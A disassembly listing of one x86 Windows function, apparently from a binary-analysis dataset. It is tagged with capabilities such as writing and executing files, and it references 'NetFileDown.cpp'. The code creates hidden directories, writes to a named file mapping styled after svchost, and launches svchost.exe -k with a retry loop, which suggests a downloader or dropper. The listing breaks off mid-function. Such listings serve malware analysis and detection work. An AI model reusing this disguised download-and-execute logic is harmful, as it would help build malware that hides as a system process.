Function at 0x46cf10
Capabilities:
Create directory
Create process on windows
Create thread
Get common file path
Read file via mapping
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48796d
mov eax, dword fs:[0]
push eax
sub esp, 0x43c
mov eax, dword [0x4a3350]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x428], edi
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x40d], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
lea eax, [ebp - 0x220]
push eax
call fcn.00426357
mov eax, 0x10624dd3
add esp, 4
mul esi
mov esi, dword [ebp - 0x220]
mov ecx, esi
shr edx, 6
sub ecx, edx
mov edx, dword [ebp - 0x21c]
mov eax, edx
sbb eax, 0
sub esi, ecx
sbb edx, eax
mov dword [ebp - 0x21c], edx
js 0x46cfa6
jg 0x46cfa2
cmp esi, 0x12c
jbe 0x46cfa6
mov al, 1
jmp 0x46cfac
mov al, byte [ebp - 0x40d]
push 0x74
mov byte [0x4aa708], al
lea eax, [ebp - 0x3f4]
push 0
push eax
call fcn.00424c50
add esp, 0xc
lea ecx, [ebp - 0x3f4]
call fcn.00408af0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x2fc]
movq qword [ebp - 0x2ec], xmm0
movdqu xmmword [ebp - 0x2fc], xmm0
call fcn.00402bf0
push 1
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 4], 1
lea eax, [edi + 0xd8]
push ecx
push eax
lea ecx, [ebp - 0x3f4]
mov dword [ebp - 0x21c], eax
call fcn.00408c40
test al, al
je 0x46d19d
push 0x4986fc
lea ecx, [ebp - 0x2fc]
call fcn.00404870
mov ecx, eax
call fcn.00404c80
test al, al
jne 0x46d06f
lea eax, [ebp - 0x284]
push eax
push 0x4986fc
lea ecx, [ebp - 0x2fc]
call fcn.00404870
mov ecx, eax
call fcn.00403130
mov ecx, 1
cmp dword [eax + 0x10], 0
jbe 0x46d075
mov byte [ebp - 0x40d], cl
jmp 0x46d07c
mov ecx, dword [ebp - 0x418]
mov byte [ebp - 0x40d], 0
test cl, 1
je 0x46d098
cmp dword [ebp - 0x270], 0x10
jb 0x46d098
push dword [ebp - 0x284]
call fcn.004235a4
add esp, 4
cmp byte [ebp - 0x40d], 0
je 0x46d19d
lea eax, [ebp - 0x284]
push eax
push 0x4986fc
lea ecx, [ebp - 0x2fc]
call fcn.00404870
mov ecx, eax
call fcn.00403130
mov esi, eax
cmp esi, 0x4a47b0
je 0x46d10a
cmp dword [0x4a47c4], 0x10
jb 0x46d0e4
push dword [0x4a47b0]
call fcn.004235a4
add esp, 4
push esi
mov ecx, 0x4a47b0
mov dword [0x4a47c4], 0xf
mov dword [0x4a47c0], 0
mov byte [0x4a47b0], 0
call fcn.00406510
cmp dword [ebp - 0x270], 0x10
jb 0x46d121
push dword [ebp - 0x284]
call fcn.004235a4
add esp, 4
lea eax, [ebp - 0x284]
push eax
push 0x48b6c8
lea ecx, [ebp - 0x2fc]
call fcn.00404870
mov ecx, eax
call fcn.00403130
mov esi, eax
cmp esi, 0x4a47c8
je 0x46d186
cmp dword [0x4a47dc], 0x10
jb 0x46d160
push dword [0x4a47c8]
call fcn.004235a4
add esp, 4
push esi
mov ecx, 0x4a47c8
mov dword [0x4a47dc], 0xf
mov dword [0x4a47d8], 0
mov byte [0x4a47c8], 0
call fcn.00406510
cmp dword [ebp - 0x270], 0x10
jb 0x46d19d
push dword [ebp - 0x284]
call fcn.004235a4
add esp, 4
push 8
call fcn.00423553
mov esi, eax
add esp, 4
mov dword [ebp - 0x424], esi
mov byte [ebp - 4], 2
test esi, esi
je 0x46d1d6
xorps xmm0, xmm0
mov ecx, esi
movq qword [esi], xmm0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00470d80
mov dword [esi], eax
jmp 0x46d1d8
xor esi, esi
push 0xffffffffffffffff
push 0
lea eax, [edi + 0xf0]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x2cc]
mov dword [0x4aa70c], esi
mov dword [ebp - 0x2b8], 0xf
mov dword [ebp - 0x2bc], 0
mov byte [ebp - 0x2cc], 0
call fcn.00406850
push 0x104
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 3
push 0
push eax
call fcn.00424c50
add esp, 0xc
lea eax, [ebp - 0x114]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x49bc14
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x2d0], 0xf
mov dword [ebp - 0x2d4], 0
mov byte [ebp - 0x2e4], 0
call fcn.00406980
cmp byte [ebp - 0x114], 0
mov byte [ebp - 4], 4
mov dword [ebp - 0x240], 0xf
mov dword [ebp - 0x244], 0
mov byte [ebp - 0x254], 0
jne 0x46d29a
xor ecx, ecx
jmp 0x46d2ac
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46d2a3
sub ecx, edx
push ecx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x254]
call fcn.00406980
lea eax, [ebp - 0x314]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x380]
call fcn.00413180
mov ecx, eax
call fcn.00413760
cmp dword [ebp - 0x240], 0x10
mov byte [ebp - 4], 7
jb 0x46d2fe
push dword [ebp - 0x254]
call fcn.004235a4
add esp, 4
mov ecx, dword [0x4aa720]
lea eax, [edi + 0x48]
cmp dword [ebp - 0x2bc], 0
mov dword [ebp - 0x240], 0xf
setne byte [ebp - 0x414]
mov dword [ebp - 0x244], 0
lea edx, [ecx + 0x60]
mov byte [ebp - 0x254], 0
cmp edx, eax
je 0x46d349
push 0xffffffffffffffff
push 0
push eax
mov ecx, edx
call fcn.00406850
mov ecx, dword [0x4aa720]
lea eax, [edi + 0x60]
lea edx, [ecx + 0x78]
cmp edx, eax
je 0x46d365
push 0xffffffffffffffff
push 0
push eax
mov ecx, edx
call fcn.00406850
mov ecx, dword [0x4aa720]
lea eax, [edi + 0x90]
lea edx, [ecx + 0xa8]
cmp edx, eax
je 0x46d387
push 0xffffffffffffffff
push 0
push eax
mov ecx, edx
call fcn.00406850
mov ecx, dword [0x4aa720]
lea eax, [edi + 0x78]
lea edx, [ecx + 0x90]
cmp edx, eax
je 0x46d3a6
push 0xffffffffffffffff
push 0
push eax
mov ecx, edx
call fcn.00406850
mov ecx, dword [0x4aa720]
lea eax, [edi + 0xa8]
lea edx, [ecx + 0xc0]
mov dword [ebp - 0x430], eax
cmp edx, eax
je 0x46d3ce
push 0xffffffffffffffff
push 0
push eax
mov ecx, edx
call fcn.00406850
mov ecx, dword [0x4aa720]
cmp byte [ebp + 8], 0
je 0x46e2e1
call fcn.00474b70
test al, al
je 0x46e3fe
push dword [ebp - 0x414]
mov ecx, dword [0x4aa720]
call fcn.00477f10
test al, al
je 0x46d518
push dword [edi + 0x168]
mov ecx, dword [0x4aa720]
call fcn.00475bf0
test al, al
jne 0x46d518
mov ecx, dword [0x4aa720]
call fcn.00477260
test al, al
jne 0x46d518
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46d4ce
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov edx, 0x2000
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x41c], 0x15
mov ecx, dword [eax + 0x20]
sub edx, ecx
lea esi, [ecx + 0x24]
add esi, eax
lea ecx, [edx + esi]
mov edx, esi
sub ecx, esi
cmp ecx, 0x15
jae 0x46d48b
mov dword [ebp - 0x41c], ecx
test ecx, ecx
je 0x46d4ad
push dword [ebp - 0x41c]
push 0x498700
push esi
call fcn.00424600
mov edx, dword [ebp - 0x41c]
add esp, 0xc
mov eax, dword [ebp - 0x414]
add edx, esi
sub edx, esi
add dword [eax + 0x20], edx
call fcn.00419ec0
push 0x30b
push str.NetFileDown.cpp
push dword [ebp - 0x414]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x21c], esp
push str.GetVer_Error
call fcn.004051a0
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
push str.RUN_DOWN_EXIT
call fcn.004051a0
mov ecx, edi
mov byte [ebp - 4], 7
call fcn.0046cd90
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x40d], 0
jmp 0x46e32b
push 0x49bc14
lea ecx, [ebp - 0x2b4]
call fcn.004051a0
cmp byte [ebp - 0x414], 0
mov byte [ebp - 4], 9
jne 0x46e2c6
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
mov esi, 0x2000
test al, al
je 0x46d5e8
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov esi, eax
mov dword [ebp - 0x3f8], 0
mov eax, 0x2000
xorps xmm0, xmm0
movq qword [ebp - 0x400], xmm0
push 0xa
mov ecx, dword [esi + 0x20]
sub eax, ecx
add ecx, 0x24
add ecx, esi
add eax, ecx
mov dword [ebp - 0x400], ecx
mov dword [ebp - 0x3fc], eax
mov eax, dword [0x4aa70c]
push 0
push 0
mov dword [ebp - 0x3f8], ecx
lea ecx, [ebp - 0x400]
push dword [eax + 4]
call fcn.0041d080
mov eax, dword [ebp - 0x3f8]
sub eax, dword [ebp - 0x400]
add dword [esi + 0x20], eax
call fcn.00419ec0
push 0x31d
push str.NetFileDown.cpp
push esi
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
mov esi, 0x2000
mov eax, dword [0x4aa70c]
cmp dword [eax + 4], 0
jbe 0x46e2c6
push 0x49bc14
lea ecx, [ebp - 0x23c]
call fcn.004051a0
push 0x49bc14
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 0xa
call fcn.004051a0
cmp dword [edi + 0x14], 0x10
mov byte [ebp - 4], 0xb
jb 0x46d629
mov eax, dword [edi]
jmp 0x46d62b
mov eax, edi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x46d64d
cmp dword [edi + 0x14], 0x10
jb 0x46d642
mov eax, dword [edi]
jmp 0x46d644
mov eax, edi
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46d6f6
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov edx, esi
mov dword [ebp - 0x418], eax
mov esi, dword [edi + 0x10]
mov ecx, dword [eax + 0x20]
sub edx, ecx
add ecx, 0x24
add eax, ecx
add edx, eax
mov dword [ebp - 0x41c], eax
cmp dword [edi + 0x14], 0x10
mov ecx, eax
jb 0x46d6aa
mov eax, dword [edi]
mov dword [ebp - 0x414], eax
mov eax, ecx
jmp 0x46d6b0
mov dword [ebp - 0x414], edi
sub edx, eax
cmp esi, edx
cmova esi, edx
test esi, esi
je 0x46d6d4
push esi
push dword [ebp - 0x414]
push eax
call fcn.00424600
mov eax, dword [ebp - 0x41c]
add esp, 0xc
lea ecx, [esi + eax]
mov esi, dword [ebp - 0x418]
sub ecx, eax
add dword [esi + 0x20], ecx
call fcn.00419ec0
push 0x326
push str.NetFileDown.cpp
push esi
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
push 1
call fcn.00423553
add esp, 4
mov dword [ebp - 0x424], eax
mov byte [ebp - 4], 0xc
test eax, eax
je 0x46d71d
mov ecx, eax
call fcn.00407390
mov dword [ebp - 0x414], eax
jmp 0x46d727
mov dword [ebp - 0x414], 0
mov ecx, dword [0x4aa70c]
mov byte [ebp - 4], 0xb
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [0x4aa728], eax
cmp eax, dword [ecx]
je 0x46db0e
lea ecx, [ebp - 0x26c]
cmp ecx, edi
je 0x46d75b
push 0xffffffffffffffff
push 0
push edi
call fcn.00406850
mov eax, dword [0x4aa728]
cmp dword [eax + 0x70], 0x10
lea edx, [eax + 0x5c]
jb 0x46d766
mov edx, dword [edx]
cmp byte [edx], 0
jne 0x46d76f
xor ecx, ecx
jmp 0x46d77d
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46d774
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x26c]
call fcn.00406670
cmp dword [ebp - 0x258], 0x10
lea eax, [ebp - 0x26c]
mov ecx, dword [ebp - 0x414]
cmovae eax, dword [ebp - 0x26c]
push eax
call fcn.00479da0
cmp dword [ebp - 0x258], 0x10
lea eax, [ebp - 0x26c]
push 0
cmovae eax, dword [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [0x4aa728]
add edx, 0x44
cmp dword [edx + 0x14], 0x10
jb 0x46d7d8
mov edx, dword [edx]
cmp byte [edx], 0
jne 0x46d7e1
xor ecx, ecx
jmp 0x46d7ef
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46d7e6
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x26c]
call fcn.00406670
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46d948
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov dword [ebp - 0x424], eax
mov edx, 0x2000
mov ecx, dword [eax + 0x20]
add eax, 0x24
add eax, ecx
sub edx, ecx
add edx, eax
mov dword [ebp - 0x41c], eax
mov edi, eax
mov dword [ebp - 0x42c], edx
mov eax, dword [ebp - 0x430]
cmp dword [eax + 0x14], 0x10
jb 0x46d863
mov esi, dword [eax]
mov dword [ebp - 0x418], esi
jmp 0x46d869
mov dword [ebp - 0x418], eax
mov ecx, dword [0x4aa728]
add ecx, 0x44
cmp dword [ecx + 0x14], 0x10
jb 0x46d87a
mov ecx, dword [ecx]
mov esi, ecx
lea eax, [esi + 1]
mov dword [ebp - 0x420], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x46d885
sub esi, dword [ebp - 0x420]
mov eax, edx
sub eax, dword [ebp - 0x41c]
cmp esi, eax
cmova esi, eax
test esi, esi
je 0x46d8bc
mov edi, dword [ebp - 0x41c]
push esi
push ecx
push edi
call fcn.00424600
mov edx, dword [ebp - 0x42c]
add esp, 0xc
add edi, esi
mov eax, edx
mov esi, 6
sub eax, edi
cmp eax, esi
jae 0x46d8cf
mov esi, eax
test eax, eax
je 0x46d8e6
push esi
push str.______
push edi
call fcn.00424600
mov edx, dword [ebp - 0x42c]
add esp, 0xc
add edi, esi
mov ecx, dword [ebp - 0x418]
mov esi, ecx
lea eax, [esi + 1]
mov dword [ebp - 0x420], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x46d8f7
sub esi, dword [ebp - 0x420]
sub edx, edi
cmp esi, edx
cmova esi, edx
test esi, esi
je 0x46d91c
push esi
push ecx
push edi
call fcn.00424600
add esp, 0xc
add edi, esi
mov esi, dword [ebp - 0x424]
sub edi, dword [ebp - 0x41c]
add dword [esi + 0x20], edi
call fcn.00419ec0
push 0x32f
push str.NetFileDown.cpp
push esi
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
mov edi, dword [ebp - 0x428]
cmp dword [edi + 0xbc], 0x10
jb 0x46d959
mov ecx, dword [edi + 0xa8]
jmp 0x46d95f
lea ecx, [edi + 0xa8]
mov eax, dword [0x4aa728]
add eax, 0x44
cmp dword [eax + 0x14], 0x10
jb 0x46d96f
mov eax, dword [eax]
push ecx
push eax
call fcn.00481c41
add esp, 8
test eax, eax
jne 0x46daa3
lea eax, [ebp - 0x23c]
cmp eax, edi
je 0x46d997
push 0xffffffffffffffff
push 0
push edi
mov ecx, eax
call fcn.00406850
push 8
lea eax, [ebp - 0x284]
mov ecx, edi
push eax
call fcn.0046bcc0
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0xd
jb 0x46d9b3
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x23c]
call fcn.004052a0
lea ecx, [ebp - 0x284]
mov byte [ebp - 4], 0xb
call fcn.00405270
push 0x4986d8
lea ecx, [ebp - 0x23c]
call fcn.004052a0
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x26c]
call fcn.00406850
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46daa3
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov ecx, 0x2000
mov dword [ebp - 0x418], eax
lea edx, [ebp - 0x23c]
sub ecx, dword [eax + 0x20]
lea esi, [eax + 0x24]
add esi, dword [eax + 0x20]
add ecx, esi
mov eax, esi
cmp dword [ebp - 0x228], 0x10
cmovae edx, dword [ebp - 0x23c]
sub ecx, esi
mov dword [ebp - 0x424], edx
mov edx, dword [ebp - 0x22c]
cmp edx, ecx
cmova edx, ecx
mov dword [ebp - 0x420], edx
test edx, edx
je 0x46da81
push edx
push dword [ebp - 0x424]
push esi
call fcn.00424600
mov eax, dword [ebp - 0x420]
add esp, 0xc
add eax, esi
sub eax, esi
mov esi, dword [ebp - 0x418]
add dword [esi + 0x20], eax
call fcn.00419ec0
push 0x336
push str.NetFileDown.cpp
push esi
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
cmp dword [ebp - 0x258], 0x10
lea eax, [ebp - 0x26c]
push 0x4962a8
cmovae eax, dword [ebp - 0x26c]
push eax
call fcn.00425d2b
mov esi, eax
add esp, 8
test esi, esi
je 0x46daf1
push 0
push 0
push esi
call fcn.00425e14
mov eax, dword [0x4aa728]
push esi
push dword [eax + 0x40]
push 1
push dword [eax + 0x78]
call fcn.00423925
push esi
call fcn.00423755
add esp, 0x20
mov ecx, 0x4aa728
call fcn.00405b00
mov ecx, dword [0x4aa70c]
mov eax, dword [0x4aa728]
cmp eax, dword [ecx]
jne 0x46d742
mov esi, dword [ebp - 0x414]
test esi, esi
je 0x46db28
mov ecx, esi
call fcn.00401580
push esi
call fcn.004235a4
add esp, 4
cmp dword [ebp - 0x22c], 0
jbe 0x46e2b0
cmp dword [ebp - 0x228], 0x10
lea eax, [ebp - 0x23c]
lea ecx, [ebp - 0x29c]
cmovae eax, dword [ebp - 0x23c]
push eax
call fcn.004051a0
lea eax, [ebp - 0x254]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x29c]
push eax
lea ecx, [ebp - 0x380]
call fcn.00413180
mov ecx, eax
call fcn.00413760
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 0x10
call fcn.00405270
push str._p_:_
lea ecx, [ebp - 0x2b4]
call fcn.004129f0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x284]
call fcn.004051a0
push 0x49c200
lea ecx, [ebp - 0x40c]
mov byte [ebp - 4], 0x11
call fcn.004051a0
push 0x48ae60
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 0x12
call fcn.004051a0
lea eax, [ebp - 0x40c]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x284]
push eax
lea eax, [ebp - 0x448]
push eax
call fcn.00415470
add esp, 0x10
lea ecx, [ebp - 0x448]
call fcn.00405270
lea ecx, [ebp - 0x29c]
call fcn.00405270
lea ecx, [ebp - 0x40c]
mov byte [ebp - 4], 0x11
call fcn.00405270
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x284]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.00406570
push str.___sign_:_
lea ecx, [ebp - 0x2b4]
call fcn.004052a0
cmp dword [ebp - 0x240], 0x10
lea eax, [ebp - 0x254]
lea ecx, [ebp - 0x2b4]
cmovae eax, dword [ebp - 0x254]
push eax
call fcn.004052a0
push str.___apijosn_:
lea ecx, [ebp - 0x2b4]
call fcn.004052a0
mov eax, dword [ebp - 0x21c]
cmp dword [eax + 0x14], 0x10
jb 0x46dc83
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2b4]
call fcn.004052a0
push 0x49c22c
lea ecx, [ebp - 0x2b4]
call fcn.004052a0
push str.svchost94861af0_d95a_4c01_9518_c53c46fbe299Code
push 0x800
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [0x4aa6fc], eax
test eax, eax
je 0x46e0e3
push 0x800
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x800
mov esi, eax
push 0
push esi
call fcn.00424c50
cmp dword [ebp - 0x2a0], 0x10
lea ecx, [ebp - 0x2b4]
push dword [ebp - 0x2a4]
cmovae ecx, dword [ebp - 0x2b4]
push ecx
push esi
call fcn.00424600
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00424c50
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x29c]
call fcn.004051a0
push str._svchost.exe__k
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 0x14
call fcn.004052a0
push 0x44
lea eax, [ebp - 0x358]
push 0
push eax
call fcn.00424c50
add esp, 0xc
mov dword [ebp - 0x358], 0x44
xorps xmm0, xmm0
mov dword [ebp - 0x32c], 1
mov eax, 1
movdqu xmmword [ebp - 0x404], xmm0
mov word [ebp - 0x328], ax
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46df23
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov dword [ebp - 0x420], eax
mov ecx, 0x2000
mov edx, 6
mov dword [ebp - 0x418], edx
sub ecx, dword [eax + 0x20]
lea esi, [eax + 0x24]
add esi, dword [eax + 0x20]
lea eax, [ebp - 0x29c]
add ecx, esi
mov dword [ebp - 0x424], esi
cmp dword [ebp - 0x288], 0x10
mov edi, esi
mov dword [ebp - 0x414], ecx
cmovae eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x228], 0x10
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x23c]
cmovae eax, dword [ebp - 0x23c]
mov dword [ebp - 0x21c], eax
mov eax, ecx
sub eax, esi
cmp eax, edx
jae 0x46de42
mov edx, eax
mov dword [ebp - 0x418], edx
test eax, eax
je 0x46de5f
push edx
push 0x4987d8
push esi
call fcn.00424600
mov edi, dword [ebp - 0x418]
add esp, 0xc
mov ecx, dword [ebp - 0x414]
add edi, esi
mov edx, dword [ebp - 0x21c]
mov esi, edx
lea eax, [esi + 1]
mov dword [ebp - 0x21c], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x46de70
sub esi, dword [ebp - 0x21c]
mov eax, ecx
sub eax, edi
cmp esi, eax
cmova esi, eax
test esi, esi
je 0x46de9d
push esi
push edx
push edi
call fcn.00424600
mov ecx, dword [ebp - 0x414]
add esp, 0xc
add edi, esi
mov eax, ecx
mov esi, 5
sub eax, edi
cmp eax, esi
jae 0x46deb0
mov esi, eax
test eax, eax
je 0x46dec7
push esi
push 0x4987e0
push edi
call fcn.00424600
mov ecx, dword [ebp - 0x414]
add esp, 0xc
add edi, esi
mov edx, dword [ebp - 0x428]
mov esi, edx
lea eax, [esi + 1]
mov dword [ebp - 0x21c], eax
mov al, byte [esi]
inc esi
test al, al
jne 0x46ded8
sub esi, dword [ebp - 0x21c]
sub ecx, edi
cmp esi, ecx
cmova esi, ecx
test esi, esi
je 0x46defd
push esi
push edx
push edi
call fcn.00424600
add esp, 0xc
add edi, esi
mov esi, dword [ebp - 0x420]
sub edi, dword [ebp - 0x424]
add dword [esi + 0x20], edi
call fcn.00419ec0
push 0x360
push str.NetFileDown.cpp
push esi
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
xor esi, esi
mov dword [ebp - 0x42c], esi
jmp 0x46df30
cmp dword [ebp - 0x288], 0x10
lea edx, [ebp - 0x404]
push edx
lea edx, [ebp - 0x358]
push edx
push 0
push 0
push 0x10
push 0
push 0
lea ecx, [ebp - 0x29c]
cmovae ecx, dword [ebp - 0x29c]
lea eax, [ebp - 0x23c]
cmp dword [ebp - 0x228], 0x10
push 0
cmovae eax, dword [ebp - 0x23c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x46e083
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46e066
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov edi, eax
mov dword [ebp - 0x21c], 0
mov eax, 0x2000
xorps xmm0, xmm0
movq qword [ebp - 0x224], xmm0
mov ecx, dword [edi + 0x20]
sub eax, ecx
lea esi, [ecx + 0x24]
mov ecx, 8
add esi, edi
mov dword [ebp - 0x418], ecx
add eax, esi
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x220], eax
sub eax, esi
mov dword [ebp - 0x21c], esi
cmp eax, ecx
jae 0x46e005
mov ecx, eax
mov dword [ebp - 0x418], ecx
test eax, eax
je 0x46e022
push ecx
push 0x4987e8
push esi
call fcn.00424600
mov eax, dword [ebp - 0x418]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x21c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xa
push 0
push 0
push eax
lea ecx, [ebp - 0x224]
call fcn.0041d080
mov eax, dword [ebp - 0x21c]
sub eax, dword [ebp - 0x224]
add dword [edi + 0x20], eax
call fcn.00419ec0
push 0x36c
push str.NetFileDown.cpp
push edi
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
mov esi, dword [ebp - 0x42c]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
mov dword [ebp - 0x42c], esi
cmp esi, 3
jl 0x46df30
jmp 0x46e099
push dword [ebp - 0x400]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x404]
call esi
cmp dword [ebp - 0x240], 0x10
lea eax, [ebp - 0x254]
cmovae eax, dword [ebp - 0x254]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x288], 0x10
jb 0x46e1c1
push dword [ebp - 0x29c]
call fcn.004235a4
add esp, 4
jmp 0x46e1c1
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46e1c1
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov edi, eax
mov dword [ebp - 0x21c], 0
mov eax, 0x2000
xorps xmm0, xmm0
movq qword [ebp - 0x224], xmm0
mov ecx, dword [edi + 0x20]
sub eax, ecx
lea esi, [ecx + 0x24]
mov ecx, 0x15
add esi, edi
mov dword [ebp - 0x418], ecx
add eax, esi
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x220], eax
sub eax, esi
mov dword [ebp - 0x21c], esi
cmp eax, ecx
jae 0x46e166
mov ecx, eax
mov dword [ebp - 0x418], ecx
test eax, eax
je 0x46e183
push ecx
push str.CreateFileMapping
push esi
call fcn.00424600
mov eax, dword [ebp - 0x418]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x21c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xa
push 0
push 0
push eax
lea ecx, [ebp - 0x224]
call fcn.0041d080
mov eax, dword [ebp - 0x21c]
sub eax, dword [ebp - 0x224]
add dword [edi + 0x20], eax
call fcn.00419ec0
push 0x375
push str.NetFileDown.cpp
push edi
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
cmp dword [ebp - 0x270], 0x10
jb 0x46e1d8
push dword [ebp - 0x284]
call fcn.004235a4
add esp, 4
cmp dword [ebp - 0x240], 0x10
mov dword [ebp - 0x270], 0xf
mov dword [ebp - 0x274], 0
mov byte [ebp - 0x284], 0
jb 0x46e20a
push dword [ebp - 0x254]
call fcn.004235a4
add esp, 4
cmp dword [ebp - 0x258], 0x10
mov dword [ebp - 0x240], 0xf
mov dword [ebp - 0x244], 0
mov byte [ebp - 0x254], 0
jb 0x46e23c
push dword [ebp - 0x26c]
call fcn.004235a4
add esp, 4
cmp dword [ebp - 0x228], 0x10
mov dword [ebp - 0x258], 0xf
mov dword [ebp - 0x25c], 0
mov byte [ebp - 0x26c], 0
jb 0x46e26e
push dword [ebp - 0x23c]
call fcn.004235a4
add esp, 4
cmp dword [ebp - 0x2a0], 0x10
mov dword [ebp - 0x228], 0xf
mov dword [ebp - 0x22c], 0
